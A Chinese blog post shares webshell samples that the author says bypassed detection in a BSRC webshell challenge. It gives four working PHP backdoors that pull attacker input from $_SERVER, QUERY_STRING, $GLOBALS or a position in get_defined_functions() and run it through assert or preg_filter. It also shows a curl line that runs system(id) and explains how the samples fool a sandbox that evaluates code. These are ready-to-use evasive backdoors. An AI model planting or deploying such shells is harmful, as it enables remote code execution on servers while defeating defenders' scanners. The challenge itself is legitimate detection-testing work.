bsrc的webshell挑战赛绕过技巧

最近参加了asrc的webshell挑战赛,虽然有点难度,还是提交的几个,但是由于规定暂时不能公开。于是想起了之前参加的那个bsrc的webshell挑战赛,提交了n个不同方式的绕过样本,但是审核只给通过了两个,有点难受,虽然真的可能是重复的样本,那就分享一下吧,同时也分享一下思路。

主要思路

其实我在测试的时候发现:bsrc的webshell检测还是很智能的,他会自动的进行运算,结合运算结果判断是否为webshell。所以我绕过他的主要思路就是从外部获取值,这些从外部获取的值在不同的环境中可能是不一样的,所以在进行检测的时候,在检测环境运算得到的结果和我们实际的环境构造的结果可以是不一样的,从而绕过了检测。

利用$_SERVER从外部获取值

源代码:

<?php
sort($_SERVER);
assert($_SERVER[26]);

通过sort函数对$_SERVER变量排序,直接通过assert函数执行从$_SERVER变量中输入的恶意代码。

利用getenv("QUERY_STRING")从外部获取值

源代码:

<?php
$a = getenv("QUERY_STRING");
preg_filter('|.*|e', $a, '');
?>

通过getenv("QUERY_STRING")获取外部输入的值,例如获取system(id);

通过preg_filter执行代码。

利用方法:

curl "http://192.168.110.134:8888/56.php?system(id);"

利用$GLOBALS从外部获取值

源代码:

<?php
assert($GLOBALS{GLOBALS}=pos($GLOBALS)[0]);
?>

通过pos($GLOBALS)[0]获取外部输入值;
并且将获取到的值赋值给$GLOBALS{GLOBALS},然后带入assert执行代码。

利用get_defined_functions()['internal']从外部获取值

源代码:

<?php
$arr = get_defined_functions()['internal'];
$arr[809]($_POST[1]);

通过get_defined_functions函数从外部获取assert函数,由于不同的环境中assert所处的数组位置不同,检测环境中$arr[809]获取到的值可能便不是assert,从而绕过了检测。

注明:需要提前确认assert在数组中的位置,例如assert在php5.6.1中的位置为809,故使用$arr[809]($_POST[1]);

扫描结果:对于扫描结果由于其他几个样本提交的时候都是直接贴的md5值,没有截图,所以就没有贴图了。

总结

不论是asrc的webshell挑战赛还是bsrc的webshell挑战赛都采用的动态检测等等多种智能的检测算法和技术,能够进行运算,结合运算结果去判断所提交的文件是否为webshell,但是这个函数我们可以利用检测环境和现实环境中的差异性,使得检测环境的运算结果与现实环境的运算结果不一致,从而绕过检测,例如本文中的get_defined_functions()['internal']数组在不同的环境中assert函数所处的位置是不同的,例如在没有传参数前$_SERVER[26]得到的结果并不是恶意代码,而是正常的值。

点击收藏 | 3 关注 | 3
登录 后跟帖